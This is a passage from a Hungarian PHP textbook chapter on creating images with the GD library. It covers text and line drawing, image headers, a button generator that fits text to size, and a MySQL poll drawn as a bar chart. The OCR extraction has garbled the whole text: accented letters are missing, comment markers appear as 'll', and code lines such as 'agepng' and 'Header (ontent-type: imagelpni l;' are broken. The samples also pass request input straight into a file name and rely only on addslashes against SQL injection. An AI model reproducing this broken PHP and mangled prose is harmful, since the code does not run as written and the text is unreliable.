$szelesseg,

(o,

O) a jobb alsha ( $szelesseg,

$magassag,

$magassag ) :

$feher);

A fggvny paramterknt a kpazonostt,a vonal kezd- s vgpontjnak x s y koordintjt,illetve a sznt vrja.


Vgezetl felirarot adunk az brhoz:
imagestring($kep,

4,

50,

150,

'rtkests',

$feher);

Az imagestring( ) fggvny az elz ketttl kiss eltr paramtereket fogad. A fggvny prototpusa a kvetkez:
int imagestring (resource kep_azonosto,

int betutipus,

int x,

int y,

string s,

int szin)

Paramcerei sorban: a kpazonosr, a bettpus, a szveg kezdpontjnak x s y koordinrja,az rni kvnt szveg s a szn.
A bettpus egy l s 5 kztri szm. Ezek a szmok latin2 kdols,beptett bettpusokat jellnek gy,hogy a magasabb
szmok nagyobb bettpusoknak felelnek meg. Hasznlhatunk helyettk TrueType vagy PostScript Type l berket is. Mind
egyik fontkszlethez tartozik egy fggvnykszlec. A kvetkez pldban a TrueType fggvnyeker fogjuk hasznlni.
Nyoms rv az alternatv bettpusokhoz tartoz fggvnykszletek hasznlatra, hogy az imagestring () s a hozz
kapcsold fggvnyek,pldul az imagechar() (karakter rsa a kpre) ltal rt szveg nem lsimtott. A TrueType s
a PostScript fggvnyek ezzel szemben lsimtott szveget lltanak el.
Ha bizonytalanok vagyunk az lsimtott s az lsimts nlkli betk kztri klnbsget illeten, vessnk egy pillantst
a 22.2 brra! Ahol grbk vagy velt vonalak vannak a betkben,az lsimts nlkli szveg tredezettnek tnik. A grb-

Kpek ellltsa

335

letet vagy vet ekkor .,lpcseffekt" adja ki. Az lsimtott kp a httr s a szveg szne kztti szn kppontok felhasznl
sval simeja ki a szveget.

Nonnal
Anti -alias ed
22.2 bra:

Az egyszer szveg tredezettnek tnik, klnsen nagyobb betmret esetn.


Az lsimts finomabb teszi a betk grbleteit s sarkait.

Kimenet ksztse a ksz grafikrl


Az elksztett kpet megjelenthetjk kzvetlenl a bngszben vagy elmenthetjk fjlba.

Pldnkban az elbbit vlasztottuk, vagyis kzveclenl a bngsznkben jelenik meg a kp. Ez is kt lpsbl ll folyamat.
Elszr is kzlnnk kell a bngszvel, hogy kpet, nem pedig szveget vagy HMTL-t kivnunk megjelenteni. A Header ()
fggvnyt hasznljuk erre, amivel meghatrozhatjuk a kp MIME-tpust:
Header

('Content-type: image/png');

Amikor be szetetnnk tlteni bngsznkbe egy fjlt, a webszerver elszr is a MIME-tpust kldi el. HTML vagy PHP

22

oldal esetn elsknt a kvetkezket kldi a kiszolgl:


Content-type: text/html

Ez kzli a bngszvel, hogyan rtelmezze a most kvetkez adatokat.


Jelen esetben azt szetetnnk tudatni a bngszvel, hogy a szoksos HTML kimenet helyett kpet kldnk. Ezt

az

eddig

mg nem hasznlt Header () fggvnnyel tehetjk meg.


A fggvny egyszer HTTP fejlcet kld el. Msik tipikus felhasznlsi terlete a HTTP tirnytsok vgrehajtsa. tir
nyts esetn azt kzljk a bngszvel, hogy a krt oldal helyett egy msikat tltsn be. ltalban akkor hasznljuk, amikor
egy oldalt chelyeztnk. Pldul:
Header ('Location: http://www.domain.com/uj

kezdolap.html ');

A Header () fggvny hasznlatval kapcsolatban meg kell emlteni, hogy a fggvny abban

az

esetben, ha az oldal tartalma

mr el lett kldve, nem hajtathat vgre. Amint valamilyen kimenetet kldnk a bngsznek, a PHP automatikusan elkldi
neki a HTTP fejlcet. gy, ha brmilyen echo utasts vagy akr fehrkz karakter tallhat a kezd PHP cmke (tag) eltt ,
a

kiszolgl elkldi a fejlcet, mi pedig figyelmeztet zenetet kapunk a PHP-tl, amikor megprbljuk meghvni a Header ()

fggvnyt. A fggvny tbbszri meghvsval ugyanakkor tbb HTTP fejlcet is elkldhetnk ugyanabban a kdban, de
a

fggvnyhvsoknak mind

az

eltt kell lennik, hogy brmilyen kimenetet kldennk a bngsznek.

A fejlcadatok elkldse utn az


imagepng ($kep);

meghvsval kldhetjk a kpadatokat a bngsznek.


Ez a fggvnyhvs PNG formtumban kldi a bngsznek a kimenetet. Ha ms formtumban s.zeretnnk kldeni, az
imagejpeg () fggvnyt is meghvhatjuk-amennyiben a J P EG tmogatsa be van kapcsolva. Ebben az eseeben is a megfele

l fejlcet kellene elszr kldeni, ahogy itt is lthatjuk:


Header ('Content-type:

image/jpeg');

A msodik lehetsg, egyben az sszes elbbinek az alternativja, ha a bngszben val megjelents helyett fjlba rjuk
a

kpet. Ehhez meg kell adni az imagepng () (vagy

az

egyb tmogatott formtumokhoz tartoz, hasonl fggvny) opcion

lis msodik paramtert:


agepng($kep,

$fajlnev);

Ne fele<ljk el, hogy a PHP-bl fjlba rsra vonatkoz sszes szably (pldul a jogosultsgok megfelel belltsa) itt is
rvnyes!

Erforrsok felszabadtsa
Ha befejeztk a kppel a munkt, a kpazonost megsemmistsvel adjuk vissza a kiszolglnak a lefoglalt erforrsokat. A z
imagedestroy () meghvsval tehetjk ezt:
imagedestroy($kep);

336

22. fejezet

Automatikusan ltrehozott kpek hasznlata ms oldalakon


Mivel adott fejlcet csak egyszer kldhetnk el, s csak ezzel kzlhegk a bngszvel, hogy kpadatot kvnunk kldeni
neki, egy ltalnos oldalra nem olyan egyszer dolog a program ltal ltrehozott tbb kpet beilleszteni. Az albbi hrom lehe
tsg kzl vlaszrhatunk:
A teljes oldal az adott kp kimenetbl ll, ahogy azt az elz pldban lttuk.
Kirjuk a kpet fjlba, ahogy arrl mr beszltnk, majd hagyomnyos <IMG> cmkvel hivatkazunk r.
A kpet elllr kdot kpcmke kz helyezzk.
Az els kr mdszerrel mr foglalkoztunk. Tekintsk most t rviden a harmadikat! Ennl a mdszernl kpcmkk (image
rag) hasznlatval illesztjk a sorok kz a kpet, pldul gy:
<img src="egyszeru abra.php" height="200" width="200" alt="Az rtkestsek visszaesnek"
_
/>

A PNG, a JPEG vagy a GIF kp kzveclen beillesztse helyett szrjuk be az SRC cmkbe a kpet elllr PHP kdot.
A kd futtarsnak eredmnye a sorok kz kerl, ahogy azt a 22.3 bra is muratja.

22
22.3 bra: A dinamikusan ellltott, sorok kz beszrt kp pontosan gyjelenik meg
a felhasznl szmra, mint brmilyen ms, hagyomnyos kp.

Szveg s betk hasznlatval ltrehozott kpek


Nzznk most a kpek lttehozsra egy jval bonyolultabb pldt! Hasznos lehet, ha kpesek vagyunk weboldalunk szmra
a gombokar vagy egyb kpeker automatikusan {a programbl) lttehozni. Miutn a korbban mr bemutatott mdszereker hasz
nlva valarnilyen sznnel kitltnk egy tgWapot, knnyedn lttehozhatunk abbl egyszer gombokat. Ennl sszetettebb effekreker
is programozhatunk, m egy kpszerkeszt alkalmazsban ltalban sokkal egyszerbben elrhegk clunkat. A grafikai munkt gy
akr megfelel mvszemberre is bzhaguk, neknk pedig megmarad a programozi munka.
A mostani pldban egy res gombsablon segtsgvel llguk el a gombokar. gy olyan kptulajdonsgokat, kztk pldul leke
rektett leket is elrhetnk, amelyeket sszehasonlthatatlanul egyszerbb Photoshop, GIMP vagy valarnilyen ms kpszerkeszt
segtsgvel ltrehozni. A PHP kpkezel knyvera lehetv teszi, hogy a megfelel alapkpbl kiindulva, majd arra rajzolva rjk
el a kvnt eredmnyt. Az lsimtott szveg rdekben a pldban TrueType bettpusokar hasznlunk. A TrueType bettpusokhoz
hasznlhat fggvnyeknek is megvannak a maguk ttkkjei, rvidesen ezeket is megismerjk. A folyamat lnyegben annyibl
ll, hogy fogjuk a szveget, majd lttehozunk egy olyan gombot, amelyre a szveg kerl. A gombon vzszintesen s fgglegesen is
kzpre igazguk, majd a gomb ltal megengedett legnagyobb betrnretet fogjuk belltani. A felhasznlk szmra tesztels s k
srlerezs cljbl elrhet felletet ksztettnk a gombokat elllt kdhoz {22.4 bra). (Az rlap kdjt itt s most nem kzljk,
rnivel nagyon egyszer, de a knyv letlthet mellkletnek gomb_tervezese . html nev f.jljban megtallhat.)

22.4 bra: A felleten a felhasznl kivlaszthatja a gomb sznt, illetve begpelheti a kvnt szveget.

Kpek ellltsa

337

Ilyen tpus felleteket pldul weboldalakat automatikusan elllt programokhoz vehetnk ignybe. A weboldal gomb
jainak futtats alatti ltrehozshoz soron bell is meghvhatnnk a kdot, de ehhez gyorsttrazsra lenne szksg annak
rdekben, hogy mindez ne legyen tl idignyes.

22.5 bra: A gomb_letrehozasa. php kd ltal ellltott gomb.


A gombot a 22.2 pldakdban lthat gomb _letrehozasa. php kd lltotta el.
22.2 pldakd: gomb_letrehozasa. php-A gombot ltrehoz kd a gomb_tervezese. html rlapbl vagy HTML
IMG cmkbl is meghvhat.
<?php
ll ellenrizzk,

hogy a megfelel vltozadatokkal dolgozunk

ll a vltozk a gomb szvege s a szn

$gomb_szoveg
$szin

22

$_REQUEST['gomb_szoveg'];

$_REQUEST['szin'];

if (empty($gomb_szoveg}

l l

empty($szin}}

{
echo

'Nem lehet a kpet ltrehozni - az rlap nem megfelelen lett kitltve';

exit;

ll megfelel htter kp ltrehozsa s mret ellenrzse


Skep = imagecreatefrompng ($szin. '-gomb.png'};

$szelesseg_kep
$magassag_kep

imagesx($kep};
imagesy($kep};

ll Kpeinknl 18 kppontos bels margra van szksg


Sszelesseg_kep_margok_nelkul

$szelesseg_kep - (2 *

Smagassag_kep_margok_nelkul = $magassag kep - (2 *

ll Dertsk ki,

hogy a betmret megfelel-e,

ll Induljunk ki a legnagyobb mretbl,

18};

18};

ha nem,

cskkentsk addig,

amg j nem lesz!

ami elfrhet gombjainkon!

$betumeret = 33;
ll kzlni kell a GD2-vel,

hol tallhatk a bettpusaink

putenv('GDFONTPATH=C:\WINDOWS\Fonts'};
$betutipus = 'arial';

do

$betumeret--;
ll a szveg adott betmret melletti mretnek kiszmtsa
$befoglalo keret=imagettfbbox ($betumeret,

O,

$betutipus,

$gomb szoveg};

338

22.fezet

$jobb szoveg
$bal szoveg

$befoglalo_keret[2];

$befoglalo_keret[O];

ll jobb koordinta
ll bal koordinta

Sszelesseg szoveg = $jobb szoveg - $bal szoveg;


$magassag szoveg

ll milyen szles?

abs($befoglalo_keret[7] - Sbefoglalo keret[l]);

ll milyen magas?

while ( $betumeret>8 &&


$magassag_szoveg>$magassag kep_margok nelkul

l l

$szelesseg_szoveg>$szelesseg kep_margok_nelkul
);

if ( $magassag szoveg>$magassag kep_margok_nelkul

l l

$szelesseg_szoveg>$szelesseg_kep_margok nelkul )

ll olvashat mretben nem fr r a szveg a gombra


echo

'A megadott szveg

nem fr r a gombra.<br l>';

else

ll Talltunk megfelel betrnretet

22

ll Most kiszmoljuk,

hova kerljn a szveg

$szoveg_x

$szelesseg kepl2.0 - $szelesseg szovegl2.0;

$szoveg y

Smagassag kepl2.0 - $magassag_szovegl2.0

if ($bal szoveg < 0)


$szoveg_x += abs($bal szoveg);

ll bal oldali behzs meghatrozsa

$szoveg_alapvonal felett = abs($befoglalo keret[7]);


$szoveg_y += $szoveg_alapvonal felett;

$szoveg y

$feher

2;

ll mennyivel az alapvonal felett?

ll alapvonal meghatrozsa

ll sablonunk alakjnak megfelel korrekci

imagecolorallocate ($kep,

imagettftext ($kep,

$betumeret,

O,

255,

255,

$szoveg_x,

255);

$szoveg_y,

$feher,

$betutipus,

$gomb_szoveg);

Header ('Content-type:

imagelpng');

imagepng ($kep);

imagedestroy ($kep);
?>

Ez az egyik leghosszabb kd, amivel idig tallkoztunk. Nzzk vgig lpsenknt! A kd nmi alapvet hibaellenrzssei
kezddik, m:Yd a munknk sorn hasznlt rajzvszon belltsval folytatdik.

A rajzvszon belltsa
A 22.2 pldakdban nem res lappal indulunk, hanem meglv kpet felhasznlva kezdjk meg a gomb ltrehozst. Hrom

vlasztsi lehetsget adunk a gomb alapsznt illeten: vrs (voros-gomb.png ) , zld (zold-gomb.png ) s kk ( kek
gomb.png ).

A felhasznl ltal kivlasztott sznt az rlap sz in vltozjban troljuk

Kpek ellltsa

339

Kezdsknt kinyerjk a sznt a$_REQUEST szupergloblis vltozbl, majd a megfelel gomb alapjn belltjuk az j kp
azonostt:
$szin = $_REQUEST['szin'];

$kep = imagecreatefrompng ($szin. '-gomb.png');

A paramterknt egy PNG kp fjlnevt fogad imagecreatefrompng() fggvny egy j, a PNG fjl msolatt
tartalmaz kphez tartoz azonostt ad vissza. Fontos megjegyezni, hogy ez semmilyen mdon nem vltoztatja meg az
eredeti PNG kpet. Megfelel tmogats teleptse esetn ugyangy hasznlhatjuk az imagecreatefromjpeg ( ) s az
imagecreatefromgif () fggvnyt is.

Megjegyzs: Az imagecreatef rompng ( ) fggvny csak a memriban hozza ltre a kpet. Fjlba mentshez vagy
bngszben val megjelentshez az imagepng ( ) fggvnyt kell meghvnunk. Rvidesen ezt is bemutatjuk, de eltte van
mg egy kis dolgunk a kppel.

A s:z;veg hozzigaztsa a gombhoz


A ferhasznl ltal begpelt szveget a $gomb_szoveg vltozban troljuk el. Feladatunk annyi, hogy a gomb ltal megenge
dett legnagyobb mretben a gombra rjuk ezt a szveget. ltercival, illetve egyszerbben mondva prba-szerencse mdszerrel

fogjuk ezt megvalstani.


Elszr is belltjuk a szksges vltozkat. Az els kt ilyen a gomb kpnek szlessge s magassga:
$szelesseg_kep = imagesx($kep);
$magassag_kep = imagesy($kep);

A kvetkez kt vltoz a gomb szltl szmtott bels margkat jelkpezi. Mivel a gomb szle lekerektett, ezt figyelembe
vve elegend helyet kell hagynunk a szveg szltl. Ha ms kpekkel dolgozunk, eltr rtkeket kell hasznlnunk. Jelen
esetben minden oldalon krlbelilS kppontnyi margval kell szmolnunk:
$szelesseg_kep_margok_nelkul = $szelesseg_kep - (2 *

18);

$magassag_kep_margok_nelkul = $magassag_kep - (2 * 18);

A kiindul betrnretet is meg kell adnunk. Induljunk ki 32 pontbl (illetve valjban 33-bl, de azt azonnal cskkentjk
eggyel), mert nagyjbl ez a legnagyobb betmret, ami egyltaln rfrhet a gombra:
$betumeret = 33;

GD2 hasznlata esetn a GDPONTPATH krnyezeti vltoz belltsval kzlnnk kell, hogy hol tallhatk rendszernkn
a bettpusok:
putenv('GDFONTPATH=C:\WINDOWS\Fonts');

A hasznlni kvnt bettpus nevt is meg kell adnunk. T rueType fggvnyekkel fogunk dolgozni ezzel a bettpussal. Ezek
a fugg vnyek az elzekben megadott elrsi tvonalon fogjk keresni a bettpus fjljt, s

ttf (T rueType Font) kiterjesz

tsseiltjk el a fjlnevet:
$betutipus =

'arial';

Opercis rendszertl fggen elkpzelhet, hogy a bettpus nevhez neknk kell hozzadni a . ttf kiterjesztst. Ha sz
mtgpnkn nem tallhat meg a pldban hasznlt Arial, brmilyen ms T rueType bettpusr vlaszthatunk helyette. Most
pedig egy ciklussal addig cskkentjk a betmretet, amg a felhasznl ltal elkldtt szveg r nem fr a gombra:
do

$betumeret--;

ll a szveg adott betmret melletti mretnek kiszmtsa


$befoglalo_keret=imagettfbbox ($betumeret,

$jobb_szoveg = $befoglalo_keret[2];
$bal_szoveg = $befoglalo_keret[O];
$szelesseg_szoveg

$betutipus,

ll jobb koordinta

$jobb_szoveg - $bal_szoveg;

&&

$gomb_szoveg);

ll bal koordinta

$rnagassag_szoveg = abs($befoglalo keret[7]


while ( $betumeret>8

O,

ll milyen szles?

- $befoglalo_keret[1]);

ll milyen magas?

22

340

22.fezet

( $magassag_szoveg>$magassag_kep_margok_nelkul

l l

$szelesseg_szoveg>$szelesseg_kep_margok_nelkul )
);

Ez a kd a szveg befogla/

kerete {bounding box) alapjn vizsglja a szveg mrett. A TrueType bettpusok kezels-

re hasznlhat egyik fggvnyt, az imagegetttfbbox ()-ot hasznljuk ehhez. A megfelel mret meghatrozsa utn
TrueType bettpus {a pldban ez Arial, de brmelyiket vlaszthatjuk) s az imagettftext () fggvny hasznlatval fog
juk a szveget a gombra rni.
A szveg befoglal kerete az a legkisebb tglalap, amit a szveg kr tudunk rajzolni. A 22.6 brn ltharunk r pldt.

(O.O)Kattints ram
22.6 bra: A

befogla/ keret koordintit az alapvonalhoz viszonytva adjuk meg. Az origt (0, 0) jelli.

A befoglal keret mreteit az albbi fggvny meghvsval kapjuk meg:


$befoglalo_keret=imagettfbbox ($betumeret,

O,

$betutipus,

$gomb_szoveg);

Ez a fggvnyhvs a kvetkezket jelenti:,.Mondd meg a $gomb_szoveg vltozban lv szveg mrett $betumeret


mret, nulla fokos dls s Arial TrueType bettpus hasznlata esetn!"

22

Jegyezzk meg, hogy a fggvnynek tnylegesen a bettpusr tartalmaz fjl elrsi tvonalt kell tadni! Jelen esetben ez
a fjl ugyanabban a knyvtrban tallhat, mint a kd {ez az alaprtelmezett lehetsg), ezrt nem kellett hosszabb elrsi t
vonalat meghatroznunk.
A fggvny a befoglal keret sarkainak koordintit tartalmaz tmbbel tr vissza. A tmb tartalmt a 22.1 tblzat mutatja.
22.1 tblzat:

A befogla/ keret koordintit tartalmaz tmb elemei

Tmbndex

Tartalom

bal als sarok x koordint:ija

bal als sarok y koordintja

jobb als sarok x koordintja

jobb als sarok y koordintja

jobb fels sarok x koordintja

jobb fels sarok y koordinr:ija

bal fels sarok x koordintja

bal fels sarok y koordint:ija

A tmb tartalmt gy a legknnyebb megjegyezni, ha emlksznk r, hogy a szmozs a befoglal keret bal fels sarkbl
indul, s az ramutat jrsval ellenttesen halad. Az egyeden trkks dolog az imagettfbbox() fggvny ltal visszaadott
rtkekkel kapcsolatban az, hogy ezek az orighoz viszonytott koordintartkek. A kpek esetn hasznlt, a bal fels sarok
hoz kpest viszonytott koordintkkal ellenttben azonban ezeket a szveg alapvonalhoz viszonytva kapjuk meg.

alapvonalnak {baseline). Egyes


lefele nyl betszrnak {descender) nevezzk.

Nzzk meg jbl a 22.6 brt! A betk talpnl egy vzszintes vonalat ltunk. Ezt hhjuk
betk, rnint pldnkban ag, az alapvonal al nylnak. A betk ezen rszt

Ennek az alapvonalnak a bal szle az orig - vagyis az a pont, ahol az x s az y koordinta is O. Az alapvonal feletti pontok x
koordint:ija pozitv, az alatta levk pedig negatv. A szveg radsul a befoglal kereten kivli koordintartkekkel is rendel
kezhet. Knnyen elfordulhat pldul az, hogy a szveg kezdpontjnak -l az x koordintja.
Mindez pusztn azt jelenti, hogy figyelmesen kell eljrni, amikor ezekkel az rtkekkel szmolunk.
A kvetkezkppen szmoljuk a szveg szlessgt s magassgt:
$jobb_szoveg
$bal szoveg

$befoglalo_keret[2];

$befoglalo keret[O];

//jobb koordinta
//bal koordinta

$szelesseg szoveg = $jobb_szoveg - $bal szoveg;


$magassag_szoveg

abs($befoglalo_keret[7]

Ezen adatok birtokban tesztelhetjk a ciklus felttelt:

//milyen szles?

- $befoglalo_keret[l]);

//milyen magas?

Kpek ellltsa

l while ( $betumeret>8

341

&&

$magassag szoveg>$magassag_kep_margok_nelkul

l l

$szelesseg_szoveg>$szelesseg kep_margok_nelkul )
);

Kt felttelhalmazt vizsglunk. Az elsnl azt szeretnnk megllaptani, hogy mg olvashat-e a bet; 8 pontos betnl
kisebbet nincs rtelme hasznlni, mert a szveg olvashatatlanul kicsi lesz. A msodik felttelhalmazzal azt vizsgljuk, hogy
aszveg elfr-e a gomb rhat felletn..
Ezt kveten megnzzk, hogy sikerlt-e iteratv prblkozsainkkal megfelel betrnretet tallni, s ha nem, akkor hiba
zenetben jelezzk ezt:
if ( $magassag_szoveg>$magassag_kep_margok nelkul

l l

$szelesseg_szoveg>$szelesseg_kep_margok_nelkul )
ll olvashat mretben nem fr r a szveg a gombra
echo

'A megadott szveg nem fr r a gombra.<br l>';

A szveg elhelyezse
Ha eddig minden rendben ment, akkor kvetkez feladatunk a szveg kezdpontjnak meghatrozsa. Ez lesz a rendelkezsre
ll tr kzppontj a.

22

Sszoveg x = $szelesseg_kepl2.0 - $szelesseg_szovegl2.0;


Sszoveg_y = $magassag_kepl2.0 - $magassag_szovegl2.0;

Az alapvonalhoz viszonytott koordintarendszer bonyolultsga miatt korrekcis tnyezkre van szksgnk:


if ($bal_szoveg < 0)
$szoveg_x += abs($bal szoveg);
Sszoveg_alapvonal_felett

ll bal oldali behzs meghatrozsa

abs($befoglalo keret[7]);

Sszoveg_y += $szoveg_alapvonal felett;


$szoveg y -= 2;

ll mennyivel az alapvonal felett?

ll alapvonal meghatrozsa

ll sablonunk alakjnak megfelel korrekc1

Ezek a korrekcis tnyezk figyelembe veszik az alapvonalat, s egy kis igaztst hajtanak vgre, mivel a szveg kiss"fejnehz:'

A szveg gombra rsa


Innen mr gyerekjtk az egsz. Belltjuk a szvegsznt, ami jelen esetben fehr lesz:
$feher = ImageColorAllocate ($kep,

255,

255,

255);

Ezt kveten az imagettftext () fggvnnyel ratjuk a szveget a gombra:


imagettftext ($kep,

$betumeret,

O,

$szoveg_x,

$szoveg y,

$feher,

$betutipus,

$gomb_szoveg);

A fggvny szmos paramtert hasznl. Ezek sorrendben: a kpazonost, a pontokban meghatrozott betmret, a szveg
dlsnek szge, kezdpontjnak x s y koordintja, szne, a bettpusr tartalmaz fjl, majd vgl a gombra rand szveg.

Megjegyzs: A bettpust tartalmaz fjlnak a kiszolg/n kell elrhetnek lennie,

a kliensgpen nincsen r szksg, mert a fel

hasznl kpknt fogja ltni a szveget.

Befejezs
Vgl megjelentjk a gombot a bngszben:
Header (ontent-type:

imagelpni l;

imagepng ($kep);

Itt az ideje, hogy felszabadtsuk az erforrsokat, s ezzel vgre rjnk a kdnak:


imagedestroy ($kep);

E n nyi! Ha minden rendben volt, akkor a 22.5 brn lv gombhoz hasonlt kell ltnunk bngsznkben.

342

22.fezet

brk s grafikonadatok rajzolsa


Az elz, gombokat elllt alkalmazsban meglv kpeket s szveget hasznltunk.Igazi rajzolsra mg nem lttunk pldt,
kvetkezzk most ez!
Pldnkban szavazst tarrunk honlapunk ltogati kztt, hogy megtudj uk, egy kpzeletbeli vlasztson kire voksolnnak.
A szavazs eredmnyt MySQL adatbzisban troljuk, s kpkezel fggvnyek segtsgvel oszlopdiagramorr jelentjk meg.
A diagramkszrs a msik nagy terlet, ahol ezeket a fggvnyeket ignybe vehetjk. Brmilyen adatot megjelenthetnk
gy - rtkestsi eredmnyeket, ltogatottsgi adatokat vagy brmit, amit kedvnk tartja.
A plda kedvrt nhny perc alatt ltrehozzuk a szavazas nev MySQL adatbzist. Egyeden tblbl ll, amelynek neve
szavazas_eredmenyek. A

j elolt oszlopban a jelltek nevt, a szavazatok_szama oszlopban pedig a rjuk leadott

szavazatok szmt talljuk. Felhasznlt is ltrehozunk ehhez a

szavazas

nev adatbzishoz, akinek jelszava szavazas

lesz.A tbla elgg magtl rtetd, a 22.3 pldakdban tallhat SQL kd furtatsval pedig egyszeren ltrehozhat. Meg
tehetjk ezt, ha rendszergazdaknt (root) bejelentkezve az albbi utastst futtatjuk:
mysql -u root -p < szavazas_beallitasa.sql

Termszetesen brmilyen ms felhasznlt is hasznlhatunk, amennyiben az megfelel jogosultsgokkal rendelkezik.


22.3 pldakd: szavazas_beallitasa.sql- A szavazs adatbzisnak ltrehozsa
CREATE DATABASE szavazas;
USE szavazas;
CREATE TABLE szavazas_eredmenyek

22

jelolt VARCHAR(30),
szavazatok szama INT
);
INSERT INTO szavazas_eredmenyek VALUES
('Kovcs Jnos',
('Nagy Mria',
('Kiss Istvn',

0),

0),
0)

GRANT ALL PRIVILEGES


ON szavazas.*
TO szavazas@localhost
IDENTIFIED BY

'szavazas';

Az adatbzis hrom jelltet tartalmaz. A szavazfelletet a szavazas. html nev oldal knlja.Az oldal kdjt a 22.4
pldakd tartalmazza.
22.4 pldakd:

szavazas.h tml

Szavazfellet ltrehozsa a Jelhasznlk szmra

<html>
<head>
<title>Szavazs</title>
<head>
<body>
<hl>Kzvlemny-kutats</hl>
<p>Kire fog voksolni a vlasztsokon?

</p>

<form method="post" action="eredmenyek_megjelenitese.php">


<input type="radio" name="szavazat" value="Kovcs Jnos">Kovcs Jnos<br />
<input type="radio" name="szavazat" value="Nagy Mria">Nagy Mria<br />
<input type="radio" name="szavazat" value="Kiss Istvn">Kiss Istvn<br /><br />
<input type="submit" value="Eredmnyek megjelentse">
</form>
</body>
</html>

Kpek ellltsa

343

Az oldal kimenett a 22.7 brn ltjuk.


A dolog lnyege, hogy amikor a felhasznl a kpernyn lthat gombra kattint, szavazatt hozzadjuk az adatbzishoz,
lekrdezzk onnan az sszes szavazatot, majd oszlopdiagramorr megjelentjk a szavazs pillanatnyi llst.
A 22.8 brn az gy kaport oszlopdiagramra lrunk pldt.

Kzvlemoy-kutnts
................
01...
0-0IOoo .....

n..

....!...

22.7 bra: A Jelhasznlk

leadhatjk szavazataikat, majd az .Eredmnyek megjelentse" gombra kattintva


megjelentjk szmukra a szavazs pillanatnyi llst.

-"4-it.t7CE

22

A szavaz eredmMye

"'*'"*'"

]"'
ll'lb

NI!WM*"
l(isslllVIIn

22.8 bra: A

szavazs eredmnyt a rajzvszonra vonalakat s tglalapokat r<9zolva,


illetve szveget rva jelentjk meg.

Viszonylag hossz kd szksges a diagram ellltsra. Ngy rszre bontotruk, hogy egyenknt tek.inthessk t ezeket.
A kd nagy rsze ismers lesz, sok ehhez hasonl MySQL-es pldt ltrunk mr. Azt is tudjuk mr, hogyan festhetnk a rajz
vszonra egyszn htteret, s hogyan rharunk r szveget.
A kd j rszei a vonalak s tglalapok rajzolsval kapcsolatosak. Figyelmnket ezekre a rszekre fordtjuk. A ngy rszbl
ll kd els rszt a 22.5.1 pldakd tartalmazza.
22.5.1 pldakd: eredmenyek_megjelenit ese. php

-Az l. rszfrissti a szavazs adatbzist, s lekrdezi az j eredm

nyeket
<?php

/*******************************************
Adatbzis lekrdezse a szavazsi adatok begyjtse rdekben

*******************************************/
ll szavazat begyjtse az rlaprl
$szavazat=$_REQUEST['szavazat'];

ll bejelentkezs az adatbzisba
if

(! $adatbazis kapcsolat

new mysqli ( 'localhost',

'szavazas',

echo 'Nem sikerlt kapcsoldni az adatbzishoz<br />';


exit;

'szavazas',

'szavazas'))

344

22. fejezet

if (!empty($szavazat)) ll ha az rlap ki van tltve,


ll a felhasznl szavazatnak hozzadsa az adatbzishoz

$szavazat = addslashes($szavazat);
$lekerdezes

"update szavazas_eredmenyek
set szavazatok szama = szavazatok szama +

where jellt = '$szavazat'";


if (! ($eredmeny = @$adatbazis kapcsolat->query ($lekerdezes)))

echo 'Nem sikerlt kapcsoldni az adatbzishoz<br l>';


exit;

ll szavazs aktulis llsnak lekrdezse fggetlenl attl,

hogy a felhasznl

szavazott-e
$lekerdezes = 'select * from szavazas_eredmenyek';
if(!($eredmeny = @$adatbazis_kapcsolat->query($lekerdezes)))

22

echo 'Nem sikerlt kapcsoldni az adatbzishoz<br l>';


exit;

$jeloltek szama = $eredmeny->num_rows;

ll az eddigi sszes szavazat szmnak kiszmtsa


$osszes szavazat=O;
while ($sor = $eredmeny->fetch_object())

$osszes szavazat

+=

$sor->szavazatok szama;

$eredmeny->data_seek(0);

ll eredmnymutat visszalltsa

A 22.5.1 pldakdban lthat l. rszben kapcsoldunk a MySQL adatbzishoz, a felhasznl voksa alapjn frisstjk a sza
vazatok szmt, majd lekrdezzk az el trolt eredmnyeket. Az adatok birtokban elkezdhetjk a diagram rajzolshoz szk
sges szmtsokat. A 2. rszt a 22.5.2 pldakdban tallj uk.
22.5.2 pldakd: eredmenyek _megj elen itese. php-A 2. rsz bellga a diagram rajzolshoz szksges vltozkat
/*******************************************
A diagramhoz szksges kiindul szmtsok
*******************************************/
ll llandk belltsa
putenv('GDFONTPATH=C:\WINDOWS\Fonts');
$szelesseg=500;

ll a kp szlessge kppontokban - a 640x480-ba frjen bele!

$bal_margo = 50;

ll a diagram bal oldaln resen hagyott hely

$jobb_margo = 50;

ll ugyanez a jobb oldalon

$oszlop_magassaga = 40;
$oszlopok_koze = $oszlop_magassagal2;
$betutipus = 'arial';
$felirat_merete = 16;
$nagy_meret= 12;
$kis_meret=

12;

ll pont

ll pont
ll pont

Kpek ellltsa

$szoveg_behuzasa

10;

345

ll feliratok pozicionlsa a kp szltl

ll a rajzols kiindulpontjnak meghatrozsa


$x = $bal_margo +

60;

$y= 50;

$oszlop egyseg

ll a diagram alapvonalnak helye


ll u.a.

($szelesseg-($x+$jobb_margo}}

l 100; ll egy "pont" a diagramon

ll a diagram magassgnak kiszmtsa - oszlopok plusz trkz plusz marg


$magassag =

$jeloltek_szama

* ($oszlop_magassaga + $oszlopok_koze} + 50;

A kd 2. rszben a diagram rajzolshoz szksges vltozkat llitjuk be.


Kiss babramunknak tnhet mindezen vltozk kiszmtsa, de ha kicsit elre gondolkodva elkpzeljk, hogyan szeret
nnk a ksz kpet elkszteni, azzal nagyban leegyszersthetjk a rajzols folyamatt. Az itt hasznlt rtkeket gy kaptuk
meg, hogy egy darab paprra vzlatszeren felrajzoltuk a diagramot, majd megllaptorruk a megfelel arnyokat.
A $szelesseg vltoz a hasznlt rajzvszon teljes szlessge. Bellg uk a bal s jobb margt (a Sbal_margo, il
letve a $jobb_margo vltozval);

az

oszlopok magassgt s az oszlopok kztti trkze ($oszlop_magassaga s

a bettpusr, a betmreteket s a felirat pozcijt ($betutipus, $felirat_merete, $nagy_

$oszlopok_koze ;

meret, Skis_meret

s $szoveg_behuzasa) .

Ezen alaprtkek birtokban elvgezhegk a szksges szmtsokat. Rajzolni szeretnnk egy alapvonalat, amelytl az

,.

sszes oszlop indulni fog. Ennek helyt gy szmolhatjuk ki, hogy a bal marghoz hozzszmtjuk a feliratokhoz szksges
helyet. Ha fontos a rugalmassg, szrnitsuk ki egyszeren a leghosszabb nv pontos szlessgt!
Kt nagyon fontos rrket is Icikalkullunk:
$oszlop_egyseg

az

els az oszlopokon egy egysget jelkpez tvolsg:

($szelesseg-($x+$jobb_margo}}

Ez az oszlopok maximlis hossza

l 100; ll egy "pont" a diagramon

- az alapvonaltl a jobb margig - oszrva szzzal, mivel a diagram szzalkos rtkeket

mutat.
